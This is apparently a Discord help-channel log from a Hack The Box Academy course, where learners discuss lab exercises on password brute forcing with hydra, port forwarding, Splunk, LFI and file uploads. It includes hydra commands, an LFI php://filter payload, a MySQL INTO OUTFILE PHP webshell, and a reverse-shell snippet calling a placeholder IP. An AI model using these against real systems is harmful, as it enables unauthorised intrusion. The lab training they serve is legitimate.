trace the function one by one slowly.

fathom pendant
#

<@&861185840277487616>

rustic sage
fathom pendant
#

as your post seemed to be promotion of some kind

potent lotus
#

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

#

i got a answer 37 but it is showing wrong answer

#

can anybody help me out

solar zodiac
#

Hi everyone! I've managed to login as larry in the whitebox attacks skills assessment, but am unable to escalate to admin. Any Help would be greatly appreciated ๐Ÿ™‚

vague sage
#

yooo lets go im finally doing an Easy difficulty instead of Fundamentals ๐Ÿ—ฃ๏ธ ๐Ÿ’ฏ

#

the progress is crazy

eager ledge
#

Hi I am doing the Password Mutation exercise and I have mutated the password list given in the Resources using the custom.rule provided. To speed up the process, I split up the mutated passwords into 20 smaller chunks. I brute-forced using hydra on FTP service all the passwords but no valid passwords were found. What am I missing?

fathom pendant
cloud urchin
#

it's definitely in the mutated list so maybe you didn't mutate correctly

fathom pendant
#

while it may seem more efficient - it's not

#

also use the custom.rule from the Resources, not the crappy rule list they have you write

eager ledge
fathom pendant
#

the final result should be ~ 90k words

#

what does your command look like?

eager ledge
fathom pendant
#

so you'll miss it entirely

#

and in the end you spend more time troubleshooting why it didn't work

#

running the full list will take around 20-30 minutes with 48 threads

#

iirc you can cut like the first 17k pw for this one

eager ledge
#

hydra -l sam -P chunked_password0.list ftp://{server_ip} -t 64

fathom pendant
#

64 also tends to skip the result

eager ledge
fathom pendant
#

48 is the most stable from what i've seen and experienced

eager ledge
#

But why?

fathom pendant
#

so the process and thread that might have the pw will drop it

#

due to it not being able to connect

#

because the port temporarily closes itself due to congestion

eager ledge
#

How do we know that the optimal number of threads is 48, and not less not more?

fathom pendant
#

personal experience

#

you can tinker with more ยฏ_(ใƒ„)_/ยฏ

eager ledge
#

Will this apply when performing real world penetration testing or just the HTB labs?

fathom pendant
#

but more often than not, i've gotten a fail on 64 but a success on 48

#

on a rl application you'd be using far less threads

#

default for ftp is 16

eager ledge
rustic sage
#

if youre trying to not generate lots of noise also

fathom pendant
rustic sage
#

100%

#

then bye bye service and goodluck spinning it up in a production env

fathom pendant
#

you're 100% gonna get noticed if you accidentally DOS when an automated service suddenly can't do it's thing i.e. send a backup to FTP

rustic sage
#

I agree with Marcie, aim for stability against the service so you can give it time to open and close connections

fathom pendant
#

so you won't know where the potential success/fail is

eager ledge
#

So, how do I determine the optimal number of threads?

rustic sage
#

trial and error i would say

fathom pendant
#

in this case; many other people have experienced the pain

rustic sage
#

just like marcie has done

fathom pendant
#

so we can shed the light onto others - that 48 is the magic number

#

you can maybe get away in the 50s

#

but i like going by 16

#

64 didn't work, drop to 48

eager ledge
cloud urchin
#

observe the packets

eager ledge
#

In this particular exercise, yes. But in other scenarios?

fathom pendant
#

hydra has a verbose mode

cloud urchin
#

you're basically DoSing the service if you hammer it too much. you're overwhelming it with data it can't process in time.

fathom pendant
#

in other scenarios; if you're attacking the same target you can generally apply same rules

#

if a low number works try not to go too much higher

#

in an rl scenario you work bottom up; and in an rl engagement USUALLY it's written within the Rules of Engagement to try not to DoS their infra

rustic sage
#

You are brute forcing FTP right?

eager ledge
fathom pendant
#

sometimes they'll even tell you what to avoid bruteforcing altogether

rustic sage
#

the password is trivial, we're talking about sending packets to a service that cannot handle the requests

fathom pendant
#

and I get wanting to understand the methodology of "but how would we figure it out"

#

in an rl scenario we just let hydra run its defaults

#

because you're not on any kind of timer

#

in terms of target being up or server time for your machine

#

so you can leave a bruteforce overnight while you sleep

rustic sage
#

While you play ASMR music in the background and wake up to a successful password finding

strange forge
#

Hey in the Remote/Reverse Port Forwarding with SSH. how do i do following "We can download this backupscript.exe from the Windows host via a web browser or the PowerShell cmdlet Invoke-WebRequest.

Remote/Reverse Port Forwarding with SSH
PS C:\Windows\system32> Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe" . how can i do it with ssh. this command is not working

eager ledge
#

Thank you all for the great insights!

fathom pendant
#

i take it you have a port forward listening on 8123 to point back to your localhost webserver port to transfer the file?

strange forge
#

i meant like how i can open powershell with ssh

#

iam not able to understand

fathom pendant
#

when you ssh into a windows machine usually it's already running powershell

#

if you see PS in front of the CWD> then congrats, powershell

#

if not then just type "Powershell"

#

and voila, you're dropped into a powershell session

#

it's really as simple as that

fathom pendant
strange forge
fathom pendant
#

whatever gets you to the windows machine

#

ยฏ_(ใƒ„)_/ยฏ

vague sage
#

What command will print my current working directory onto the console?

whaaaat

ls and dir do show the directory but not exactly what its looking for
kinda lost here

cloud urchin
#

pwd

vague sage
#

oh shit

cloud urchin
#

print working directory

vague sage
#

dang yeah makes sense

#

thanks man
couldnt find anything on google

limber surge
#

Footprinting Lab - Hard

Enumerate the server carefully and find the username "HTB" and its password. Then, submit HTB's password as the answer.

I have access to tom details already, but am lost what next.

vague sage
#

but its incorrect

cloud urchin
fathom pendant
vague sage
#

holy shit it was cd

fathom pendant
cloud urchin
vague sage
fathom pendant
#

Unless you mean cwd

#

Which is the current working directory

vague sage
#

yeah idk
i did cd and the answer was correct

but like in console (through linux) it did this

#

and i got hella confused

fathom pendant
#

Cd just goes to home

vague sage
#

man idk idk
im still confused but hey i finished that part so onto the next one

vague sage
#

thats whats like confusing me

fathom pendant
#

The answer was the home directory

#

What module/section?

vague sage
#

introduction to windows command line
page 4 system navigation

fathom pendant
#

ah it's just dumb

vague sage
fathom pendant
rustic sage
#

That is correct

vivid igloo
fathom pendant
#

our original context was thinking it was linux

vague sage
rustic sage
#

although you can still see the current path youre in...

cloud urchin
#

naw i thought it was windows lol. pwd is still correct

fathom pendant
#

cd in linux sends you home without a variable

vague sage
#

yup

fathom pendant
#

alongside that, that's what's talked about in this section

rustic sage
#

if thats windows then pwd isnt a cmd anyway

vague sage
fathom pendant
#

pwd isn't mentioned

cloud urchin
#

pwd is a windows command

#

at least in powershell

fathom pendant
#

for Get-Location

rustic sage
#

mmmm in a cmdprompt its not a recognised cmd....

vague sage
#

for some reason i recall already trying cd but it was wrong
holy shit dude i might have insomnia

rustic sage
#

windows equivalent is cd to linux pwd

fathom pendant
vague sage
vivid igloo
fathom pendant
#

fuck no

#

i don't got the money for that

vague sage
#

๐Ÿคฃ

vivid igloo
#

how many paths have u already completed

vivid igloo
vague sage
#

RAAAAAHHH
that Medium difficulty kinda scares me
yk? like im still in fundamentals and easy, still struggling a bit

vivid igloo
vague sage
#

should be fun

vivid igloo
vague sage
#

for now? aw hell nah how bad things are gonna get dude

vivid igloo
#

your basics should be cleared and each module will help you with that for sure but you have to harden your concepts if you don't even a fundamental will be hectic

vague sage
#

yes ofc

vivid igloo
vague sage
#

there is only God not luck

vivid igloo
vague sage
#

๐Ÿ—ฃ๏ธ ๐Ÿ’ฏ

acoustic owl
acoustic owl
vivid igloo
#

ig you've already completed the other 3 right ?

haughty tree
#

2 questions,
how can you have read/write without having change permission
and why is the permissions called modify if you don't have the change permission

acoustic owl
cloud urchin
#

sounds like you're slacking a bit then

#

the cwee modules i've done so far have been a lot of fun

acoustic owl
acoustic owl
vivid igloo
haughty tree
vivid igloo
acoustic owl
vivid igloo
#

**

vivid igloo
haughty tree
west basalt
#

Hi im new in here and in htb in general

#

the problem is I cannot finish the first task in htb red team due to to able connect in open vpn

#

if i could get some help ill be grateful

haughty tree
#

do you have the openvpn file downloaded?

west basalt
#

but i have wsl so i cannot open the kali linux downloads folder to install it

haughty tree
west basalt
haughty tree
#

I wouldn't recommend

cloud urchin
#

wsl is just going to be trouble

#

use the pwnbox or a vm

haughty tree
#

yeah ^

#

there are some tools that you need a GUI for

west basalt
#

but im not able to put the openvpn file in the downloads in kali

cloud urchin
#

you really should strongly consider not using wsl. not many here will be able to help you because almost no one uses it, if anyone.

fringe urchin
west basalt
#

guess I'll figure out a way

haughty tree
acoustic owl
haughty tree
#

if you're using wsl you might already be logged in as root so you might not need the sudo

#

but also It's possible that Windows could block you from doing this so you'll have to run it as administrator but I wouldn't recommned using the openvpn on your main machine

fringe urchin
acoustic owl
fringe urchin
short hare
#

ON to UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK: Introduction To Splunk & SPL
Question:
Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all data the account name with the highest amount of Kerberos authentication ticket requests. Enter it as your answer.

I am kinda new to splunk. Can anyone point out why SPL queries are not working??? Even those mentioned in the module are NOT providing any output

Any nudges???

jolly snow
#

Hello

acoustic owl
fringe urchin
#

LOL, well if you ever have a question about C# pls dont ask me pepefriends good luck. ill need to first finish CPTS path before going into Advanced Deserialization Attacks module

next bronze
candid lily
#

i can almost get a tier 3 module i have 2 choices but i cant decide one 1) Binary Fuzzing, 2) Advanced XSS and CSRF Exploitation, i need help choosing between them

vivid igloo
candid lily
#

ok i guess that makes sense binary fuzzing is good but less applicable i guess

candid lily
#

mac os fundamentals

#

i dont have any machine spawn, i dont understand what to do

candid lily
#

what is wrong with this bruh

marsh echo
#

also with plink he doens't work ...

pearl mist
#

Hi. I'm trying to do the Login Brute Forcing module on my own Kali machine. I'm on the Determine Login Parameters-section, where the tutorial shows using a combination of Foxy Proxy and Burp Suite to go through HTTP requests. My problem is; on my own machine, I cannot seem to find a switch to activate the Burp proxy in Foxy Proxy.

#

Like in this picture.

candid lily
#

there is something definitely wrong

pearl mist
#

I know I could just use the pwnbox, but I want to be able to do this on my own machine.

candid lily
#

open foxyproxy -> options -> add -> fill 127.0.0.1, 8080, name to burpsuite

pearl mist
#

Ok. I tried to do that, but probably did something wrong. I've never configured a proxy before. I added a test-proxy in options with name 127.0.0.1 and 8080, but burp still don't show up in my Foxy Proxy

candid lily
#

did you save it

pearl mist
#

Also, when using that proxy I can't access any websites on my chromium browser, I just get "This site can't be reached error"

#

aaah

candid lily
#

maybe just use this open browser and do

pearl mist
#

Now I got itthanks alot

candid lily
#

this section in windows attacks and defense is absolutely broken pls fix it

short hare
candid lily
#

dont specify sourcetype

inland shoal
#

on the right side of the query

candid lily
#

i did that module yesterday there was some problem with sysmon, just dont specify it

short hare
#

Thanks @candid lily @inland shoal
I will try again

candid lily
#

why is this not being accepted

#

ohh from my target** nvm

#

any idea how to make dig use tcp

#

bruhhh

#

instead of .htb i was using .com

crystal heath
#

Intrusion Detection With Splunk (Real-world Scenario)

Q3 - Find through an SPL search against all data any suspicious loads of clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format: _.exe

I've been on this for days now. Filtering for clr.dll, trying to find unknown call traces, event code 10s, stats count by target image and countless other variations of what's given in the module , and still coming up with nothing. Lost count of how many .exes I've tried to enter in the answer. How am I so far off with this one ? Hints or DMs appreciated.

inland shoal
#

for the digital forensics module, does the result download take awhile

#

ive been stuck here for 1 hour ๐Ÿ’€ fk rdp

haughty tree
#

Can anybody explain to me how I should read this thing? I tried going the microsoft page where they put this diagram but I can understand where do I start to read it

dim wolf
inland shoal
#

thanks alot man, tfw the module didnt even show the file there

honest notch
#

Hi bros i stuck in the LOGIN BRUTE FORCING-Skills Assessment second question " Once you are in, you should find that another user exists in server. Try to brute force their login, and get their flag." could you help me out?
I already have the other user and I have the list that is in the home (rockyou-30.txt). My question is how do I brute force from there which port should I use? I tried hydra -l useretc -P rockyou ... ftp: //127.0.0.1 -t4. Or what IP and port should the attack launch? All my attempts mark my connection refused.

soft cedar
honest notch
split fjord
#

I have some queries about uploading php reverse shells using mysql.

I am able to obtain a webshell using SELECT "<?php echo system($_GET['cmd']);?>" INTO OUTFILE '<directory>'; and execute it. However, when I try more complex things like SELECT โ€œ<?php -r โ€$sock=fsockopen("<ip address>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");"?>" INTO OUTFILE โ€œ<directory>โ€, I run into syntax errors while saving the file, as well as when executing the webpage.

Is it not possible to upload a reverse shell using mysql? I can't seem to find much about this online

fathom pendant
#

Being honest anything involving multiple quote sets just won't work

soft cedar
split fjord
fathom pendant
#

Webshell and reading directly from sql are the only intended methods

honest notch
honest notch
fringe urchin
#

Modules: Password attack
section: Credential Hunting in Linux

so after not finding anything i started bruteforcing well FTP service. i left it for around 3 hours running now but nothing (for some reason it does 1 request per 10 sec LOL ). Checked the Hint || They provide us with the Creds for K***, but the mentioned password isnt in the password.list but its in rockyou.txt, am i missing something obsvious? how did we know there is a K account there? is it really inteded to wait hours for the bruteforcing to finish?||

fathom pendant
#

But also, yes the password and it's mutation is in the provided list and subsequent mutated list

fringe urchin
fathom pendant
#

You can also manually adjust ftp threads

fathom pendant
#

Because on a linux host, it matters

#

Also save found passwords

#

This module loves to reuse creds throughout

#

The Linux and Windows hosts are the same throughout

#

Also the hint doesn't give you a password rather, it gives you a suggestion to narrow your mutations down

#

The mutated list, I can guarantee, has the pw for them

fringe urchin
fathom pendant
#

Bruteforcing with rock you is like cutting grass with scissors

fringe urchin
#

SchainyDisappointed i know

fathom pendant
#

They don't need 20 hosts with a slightly different configuration

#

The only separate entities are the skill exams

fringe urchin
#

yea i understand that but taking an enumeration from a prev section Pepereally

fathom pendant
#

It's something I've said multiple times in this channel to do

#

ยฏ_(ใƒ„)_/ยฏ

#

My tip, check /home/ or C:\Users\ for usernames, save those to their own userlist, and use those for bruteforcing

fringe urchin
#

well i tend to not read many messages about my upcoming modules, since i dont want spoilers Harold

fathom pendant
#

not really a spoiler ยฏ_(ใƒ„)_/ยฏ

fringe urchin
#

having for each module sepperete user list

fathom pendant
#

The module provides you one btw

#

It's just a bunch of extra names including the valid ones

fringe urchin
#

well username.list gives you the name yea but you dont really know if its valid untill you get a password hit

#

shruge unless you come to the conclusion, that you saw it a few sectiopns before

fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

fringe urchin
#

ty for the tip Marcie duckthumbsup just mutated it and got a hit...

fathom pendant
#

Always start small go big

#

Use the smallest known list, even if it's a guess

#

I know I generally say don't make assumptions, but validating guesswork isn't an assumption

#

I'd rather use a list of like 5 users to iterate over a large list than 100

#

Also another tip, I forget the flag for it, but there's a flag in hydra that allows you to iterate over users instead of passwords in a list

#

So instead of user1 -> whole list it goes password1 -> userlist

#

Which can be faster

#

You almost never have to wait more than I would say 30 minutes or so for bruteforcing a module section

fringe urchin
#

yea i started first with only will then after nothing i had like a few others, but no k, i think its the first module that reuses users etc, so will keep in mind from now one

fringe urchin
fringe urchin
fathom pendant
#

-> target died

fringe urchin
civic locust
#

PS C:\Users\netadm> net group "Domain Admins" /dom Administrator netadm type c:\Users\Administrator\Desktop\DnsAdmins\flag.txt Access is denied
Hello. I can't get a flag with admin rights. Why?!

fathom pendant
fringe urchin
fathom pendant
fathom pendant
#

That... doesn't help

fathom pendant
#

Module: windows privilege escalation
Section: dns admins

civic locust
#

sry, i am hurrying up to figure out my mistake...

fathom pendant
#

Well have patience someone that's done the module might be able to offer more insights

civic locust
#

Okay, finally. This module sucks as it REALLY depends on the right payload. I need to remember:

  1. not sc, SC.EXE!!!!
  2. payload for windows x64
  3. reset after each attempt
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

Generally when working with LoLbin stuff you gotta use the .exe extension

north bramble
#

Hello

#

anyone setup 2FA on their HTB account?

#

I have some QR it asks me to scan, but it doesnt do anything, like I get a link I cant visit. how do I setup 2FA? can someone please help?

north bramble
north bramble
#

aight it worked. thanks

heavy marsh
#

Why is my academy page showing "diablo says..." on the tab?

#

It alternates between that and the regular title

#

It's doing it on my Windows machine chrome browser too.

#

The other one was firefox on my Kali VM.

#

Never mind, it looks like there was a message in the chat function from someone on support named Diablo. It was kind of hidden, had to look for a minute to find it.

#

On the LFI Skills Assessment I'm noticing something that wasn't covered in the module.

I was able to find a hidden admin page (using "hidden_admin" instead of real name to avoid spoiler)

http://<ip>/hidden_admin/index.php

But in order to view the source of that I have to put the "hidden_admin" portion after the page=, even though it wouldn't be in place of the index.php page like shown below:

view-source:http://<ip>/index.php?page=php://filter/convert.base64-encode/resource=hidden_admin/index

#

The reason I ask is because when I put

http://<ip>/index.php?page=hidden_admin/index.php

I definitely don't get the same page as

http://<ip>/hidden_admin/index.php

#

Seems like something here is wrong, but it checks out with the walkthrough so far. I haven't converted the base64 yet because I'm still trying to figure out what is going on.

heavy marsh
#

and why on the next step is index.php?log= working instead of index.php?logs=, the source code had it as plural

cloud urchin
#

not sure what you're on about but everything in the skill assessment was in the module

heavy marsh
#

I'm just confused on why the syntax is out of order on the webpage, but I kind of get it now, it's for the purposes of the lab

What I don't get is why index.php?log= is working instead of index.php?logs= for the next portion of the assessment

#

I don't want to post anything specific, but when reading the backend server file, it should be "logs" based on the source code

#

It should be logs/ and not log= also

cloud urchin
#

not according to what i saw

heavy marsh
#

Here's just the portion I saw so that I'm not giving spoilers

cloud urchin
#

that's the folder where the logs are saved, not the parameter on the endpoint

#

it's the endpoint parameter that's vulnerable that you exploit

heady yew
#

Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer?

astral fjord
#

Working on file uploads assessment and think I'm right on the edge of getting it. When I try to run commands through my upload this is all I'm getting back. Anyone want to give me a hint in the right direction?

cloud urchin
#

Hard to say without seeing your payload, you can DM me if you want

astral fjord
#

I'll DM. Tried to keep it spoiler free on here.

heady yew
#

Showing me there TCP and UDP closed domain and showing hash

cloud urchin
safe lichen
#

Has anyone taken the AD Trusts module? I have noticed the environment is slow and errors out often just wondering if anyone else had these issues.

cloud urchin
heady yew
#

Nmap scripting engin

safe lichen
fathom pendant
#

VPN server is like us-academy-{1,2,3} or eu-academy-{1.2}

plucky shoal
#

Hi Peeps, Iโ€™m working through the CPTS and have run into a problem. A command wasn't working when I connect through OpenVPN on my Kali Linux machine, but worked fine when I use Pwnbox. Is this a known issue? is it worth buying subscription to avoid this issue?

cloud urchin
#

ahh then i'm us 3 i think

plucky shoal
fathom pendant
#

you have to be careful with wording

fathom pendant
#

just be mindful - the course was designed to be completable with the pwnbox

shrewd hazel
#

for file upload attacks - upload exploitation, can someone explain to me the php and shell code sections here

fathom pendant
#

but it's 100% doable with your VM and VPN, buying a sub does NOT change anything

fathom pendant
#

specefically regarding system()

shrewd hazel
#

i understand the command

#

i dont understand the php vs the shell section here

#

why is the shell given here

fathom pendant
#

there is no shell

shrewd hazel
#

in screenshot it says Code: shell